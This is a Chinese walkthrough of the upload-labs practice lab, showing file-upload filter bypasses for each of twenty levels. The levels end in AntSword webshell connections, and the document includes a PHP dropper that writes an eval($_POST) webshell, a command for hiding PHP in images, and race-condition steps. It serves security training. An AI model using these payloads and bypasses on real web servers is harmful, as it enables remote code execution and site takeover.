uploads-labs深入学习
Pass-01
- 本pass在客户端使用js对不合法图片进行检查,所以这里禁用前端js
- 上传成功
- antsword连接成功
Pass-02
- 本pass在服务端对数据包的MIME进行检查,所以我们用bp去改上传文件的MIME
- 在这里,我们把application/octet-stream改成image/jpeg
- antsword连接成功
Pass-03
- 本pass禁止上传.asp|.aspx|.php|.jsp后缀文件,所以我们在bp里把文件名改成php5等不在黑名单范围却能以php格式被服务器解析的后缀
- bp抓包改后缀
意外状况
- 然而在这里遇到一个问题就是服务器不解析.php5之类的文件,去访问的时候他直接给我变成下载文件了
解决方法
- PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本会导致一些实际情况的不同,很显然phpstudy全是nts版本
- 在官网PHP For Windows: Binaries and sources Releases下载安装好TS版本的php后,再将其配置到apache,之后我们再在httpd.conf中写入
AddType application/x-httpd-php .php3 .php4 .php5 .phtml .phtm .phps .phpt .php345
- 这样我们的php5之类的后缀就可以解析成php了
问题解决后
- antsword连接成功
Pass-04
- 本pass禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件
- 老长一串黑名单,但是没过滤.htaccess,这里就可以上传.htaccess来解析我们的shell
- .htaccess上传
- 在.htaccess里我们使得txt文本能被以php的方式解析,接下来传一个txt上去
- antsword连接成功
Pass-05
- 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
- 比上一题多一个.htaccess的黑名单,那没办法了,只能利用大小写绕过
- 大小写绕过
- antsword连接成功
Pass-06
- 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件,然后代码里多了一行
$file_ext = strtolower($file_ext); //转换为小写
- 这里禁止了常见后缀与大小写混用绕过,但仍有办法绕过,那就是在文件名后加空格
- 文件名后加空格绕过
- antsword连接成功
Pass-07
- 本pass禁止上传所有可以解析的后缀,是及其严格的黑名单,但是看源码,他没有去掉文件末尾的点
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
- 所以使用文件末尾加点来绕过
- 文件末尾加点绕过
- antsword连接成功
Pass-08
- 一样的黑名单,不一样的上传漏洞,这里没有禁止文件流传输的方式,就用::$DATA绕过
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
- ::$DATA绕过
- antsword连接成功
Pass-09
- 本pass只允许上传.jpg|.png|.gif后缀的文件,是一个白名单验证,但是代码里明明写的是黑名单,并过滤了大小写,空格,点以及数据流 , 但未对文件重命名并且只过滤了一遍点和空格 , 我们在文件后缀名添加 点空格点 , 来绕过黑名单
- 改文件后缀名绕过
- antsword连接成功
Pass-10
- 本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符
- 看上去很好很强大,但是代码里只删了一次,也就是双写php就能绕过
- 双写php绕过
- antsword连接成功
Pass-11
- 本pass上传路径可控,所以就可以用00截断来绕过
- 00截断绕过
意外状况
- 00截断在5.3.4以后就修复了,要使用00截断绕过必须用更低版本的php
解决方法
- 换成更低版本的php
问题解决后
- antsword连接成功
Pass-12
- 本pass上传路径可控,和上一题一样但是路径放在了post的数据块里,00截断在上传时%00要经过编码
- 00截断
- antsword连接成功
Pass-13
- 从这一关开始要做图片马绕过,本pass检查图标内容开头2个字节,
图片马
图片马可以直接在CMD中制作,其中/b代表二进制文件binary,放在图片后面,/a代表文字文件ascii
copy xxx.jpg/b + xxx.php/a xxx.jpg
- 图片马上传png
- antsword连接成功png
- 图片马上传jpg
- antsword连接成功jpg
- 图片马上传gif
- antsword连接成功gif
Pass-14
- 本pass使用getimagesize()检查是否为图片文件,只检查文件是否是图片,不检查图片马的内容
- 图片马上传png
- antsword连接成功png
- 图片马上传jpg
- antsword连接成功jpg
- 图片马上传gif
- antsword连接成功gif
Pass-15
- 本pass使用exif_imagetype()检查是否为图片文件,只检查文件是否是图片,不检查图片马的内容
- 图片马上传png
- antsword连接成功png
- 图片马上传jpg
- antsword连接成功jpg
- 图片马上传gif
- antsword连接成功gif
Pass-16
- 本pass重新渲染了图片,所以在上传后会存在一个临时文件,如果速度够快其实是有可能在删除前访问到这个临时文件的
- 制作一个easy_word(16).php内容为:
<?php
$f= fopen ("shell.php","w") ;
fputs ($f,'<?php @eval($_POST["password"]);?>');
?>
- 然后做成图片马
- 上传并用bp抓包,同时把用文件包含漏洞指向这张图片的页面也抓包
- 全都发到intruder并且在报头加上&a=1
- 用数字做字典,先来一万个吧
- 然后开始爆破,就不用管爆破过程,只要知道哪怕只有一次第二个线程访问到了刚上传上去还没来得及改名和删除的文件,incluede.php的同级目录下就会出现一个shell.php
- antsword连接成功
Pass-17
- 提示告诉我们要代码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
- 看完代码之后发现这个也是先保存下来再审核是否违规的。
- 和上一题类似的操作
- 有404错误的,也有成功访问的,只要成功访问一次,shell-17.php就存在了
- antsword连接成功
Pass-18
- 和16关几乎一模一样
- antsword连接成功
Pass-19
- 本pass的取文件名通过$_POST来获取,既然保存的文件可以自定义,那就可以用00截断
- antsword连接成功
Pass-20
- 这个题目用了数组 +/. 的方式去绕过,因为源代码里面含有这样的两句代码,成了关键得绕过的地方
- (!is_array($file)) {
$file = explode('.', strtolower($file));
} - = reset($file) . '.' . $file[count($file) - 1];
- ,第一个是先得保证另外修改的名字需要满足是数组的条件,所以我们可以抓包构造数组,第二点由于后面 filename 构成的过程中由于 $file[count($file) - 1] 的作用,导致 $file[1] = NULL,所以构造文件名后相当于直接就是 xx.php/.
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- antsword连接成功
shell总览